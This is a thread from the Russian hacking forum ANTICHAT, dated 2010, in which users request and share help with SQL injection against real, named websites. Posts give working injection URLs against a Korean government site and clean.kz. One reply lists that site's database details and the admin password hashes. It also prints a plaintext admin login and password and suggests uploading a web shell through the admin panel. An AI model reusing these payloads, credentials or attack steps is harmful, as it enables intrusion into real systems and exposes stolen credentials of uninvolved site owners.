ANTICHAT Forum
HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
НОВЫЕ ТОРГОВАЯ НОВОСТИ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
Перезагрузить страницу Ваши вопросы по уязвимостям.
   
Ответ
Страница 1098 из 2422 « Первая < 9859899810481088 1094 1095 1096 1097 1098 1099 1100 1101 1102 11081148119815982098 > Последняя »
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 11.01.2010, 00:08
Micr0b
Участник форума
Регистрация: 14.01.2006
Сообщений: 242
С нами: 10695206

Репутация: 245
По умолчанию
http://english.president.go.kr/pre_activity/photos/photos_view.php?uno=2438+order+by+20 -true

http://english.president.go.kr/pre_activity/photos/photos_view.php?uno=2438+and+1=1 -true

http://english.president.go.kr/pre_activity/photos/photos_view.php?uno=2438+and+substring(@@version,1 ,1)=3,4,5 -false

как прокрутить скуль?
𝕏 Twitter Reddit Telegram Копировать ссылку
Последний раз редактировалось Micr0b; 11.01.2010 в 00:11..
 
Ответить с цитированием

  #2  
Старый 11.01.2010, 00:51
m0Hze
Он хакер.
Регистрация: 01.11.2008
Сообщений: 1,756
С нами: 9223466

Репутация: 3171


По умолчанию
Цитата:
Сообщение от Micr0b  
http://english.president.go.kr/pre_activity/photos/photos_view.php?uno=2438+order+by+20 -true

http://english.president.go.kr/pre_activity/photos/photos_view.php?uno=2438+and+1=1 -true

http://english.president.go.kr/pre_activity/photos/photos_view.php?uno=2438+and+substring(@@version,1 ,1)=3,4,5 -false

как прокрутить скуль?
Может быть тут нужно условие?)
http://english.president.go.kr/pre_activity/photos/photos_view.php?uno=2438+and+if%28substring%28@@ve rsion,1%20,1%29=1,1,0%29
Не пробывал,но помоему оно необходимо
 
Ответить с цитированием

  #3  
Старый 11.01.2010, 01:38
Micr0b
Участник форума
Регистрация: 14.01.2006
Сообщений: 242
С нами: 10695206

Репутация: 245
По умолчанию
Цитата:
Сообщение от m0Hze  
Может быть тут нужно условие?)
http://english.president.go.kr/pre_activity/photos/photos_view.php?uno=2438+and+if%28substring%28@@ve rsion,1%20,1%29=1,1,0%29
Не пробывал,но помоему оно необходимо

false(
 
Ответить с цитированием

  #4  
Старый 11.01.2010, 03:01
ILYAtirtir
Участник форума
Регистрация: 25.04.2007
Сообщений: 176
С нами: 10024314

Репутация: 739
По умолчанию
Причём тут http://www.korea.net/? Совсем другой сайт.
 
Ответить с цитированием

  #5  
Старый 11.01.2010, 14:27
FaTRuS
Познающий
Регистрация: 28.08.2006
Сообщений: 94
С нами: 10369861

Репутация: 1
По умолчанию
http://clean.kz/index.php?act=
Выдает ошибку Warning: main(/home/clean/data/public_html/modules/.php)
можно ли произвести локальный инклуд

И еще как узнать название всех таблиц в sql 4.1.25
Последний раз редактировалось FaTRuS; 11.01.2010 в 14:35..
 
Ответить с цитированием

  #6  
Старый 12.01.2010, 06:49
shell_c0de
Reservists Of Antichat - Level 6
Регистрация: 07.07.2009
Сообщений: 324
С нами: 8866466

Репутация: 564
По умолчанию
Цитата:
Сообщение от FaTRuS  
http://clean.kz/index.php?act=
Выдает ошибку Warning: main(/home/clean/data/public_html/modules/.php)
можно ли произвести локальный инклуд

И еще как узнать название всех таблиц в sql 4.1.25
Код:
http://clean.kz/index.php?act=idx&id=-53+union+select+1,2,3,4,concat_ws(0x3a,version(),database(),user())--
User : mysql_clean@localhost
Version : 4.1.25
Database : intserv_clean
OS : freebsd 6.3

Код:
http://clean.kz/index.php?act=idx&id=-53+union+select+1,2,3,4,concat_ws(0x3a,login,pass)+from+admin--
7b8fbb831c7c7163aa67b658ab3f3d64:28f9fb91cebfd9e08 dfc467ac2d735d9
http://clean.kz/admin/
Логин : cleanadmin
Пароль : 93mgpt5hm
В админке через "Редактор содержания" можешь залить шелл.
Таблицы в 4 ветке брутит надо (юзай SIPT)
Последний раз редактировалось shell_c0de; 12.01.2010 в 07:13..
 
Ответить с цитированием

  #7  
Старый 12.01.2010, 02:24
Imperou$
Познающий
Регистрация: 23.05.2008
Сообщений: 84
С нами: 9456679

Репутация: 97
По умолчанию
Торможу, не спал вторые сутки.Сильно не пинайте =)
Не могу обрезать запрос, как только не пробовал, добавляется ,3
Цитата:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'order by 1/*,3' at line 1
 
Ответить с цитированием

  #8  
Старый 12.01.2010, 03:36
m0Hze
Он хакер.
Регистрация: 01.11.2008
Сообщений: 1,756
С нами: 9223466

Репутация: 3171


По умолчанию
Цитата:
Сообщение от Imperou$  
Торможу, не спал вторые сутки.Сильно не пинайте =)
Не могу обрезать запрос, как только не пробовал, добавляется ,3
Заюзай заместо /*, +--+
 
Ответить с цитированием

  #9  
Старый 12.01.2010, 03:56
Imperou$
Познающий
Регистрация: 23.05.2008
Сообщений: 84
С нами: 9456679

Репутация: 97
По умолчанию
Цитата:
Сообщение от m0Hze  
Заюзай заместо /*, +--+
/* и +--+ и +--+- и { и # и -- и вообще без close, все равно
Цитата:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'order by 1(вариации close sql),3' at line 1
Уже всю голову поломал себе... Разве никто не сталкивался? Спать хочу =(
 
Ответить с цитированием

  #10  
Старый 12.01.2010, 06:10
Nightmarе
Познавший АНТИЧАТ
Регистрация: 29.04.2007
Сообщений: 1,189
С нами: 10018169

Репутация: 1680


По умолчанию
Цитата:
Сообщение от Imperou$  
и {
А это разве является коментарием?
 
Ответить с цитированием
Ответ
Страница 1098 из 2422 « Первая < 9859899810481088 1094 1095 1096 1097 1098 1099 1100 1101 1102 11081148119815982098 > Последняя »



Предыдущая тема Следующая тема
Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился) PEPSICOLA Болталка 188 23.05.2010 10:05
Ваши любимые компьютерные игры PEPSICOLA Болталка 280 19.08.2009 00:01
Ваши телеги... F-IFTY Болталка 13 18.08.2009 18:22
Вопросы по Ipb 2.0 Voodoo_People Уязвимости CMS / форумов 26 15.02.2005 22:57



Здесь присутствуют: 10 (пользователей: 0 , гостей: 10)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.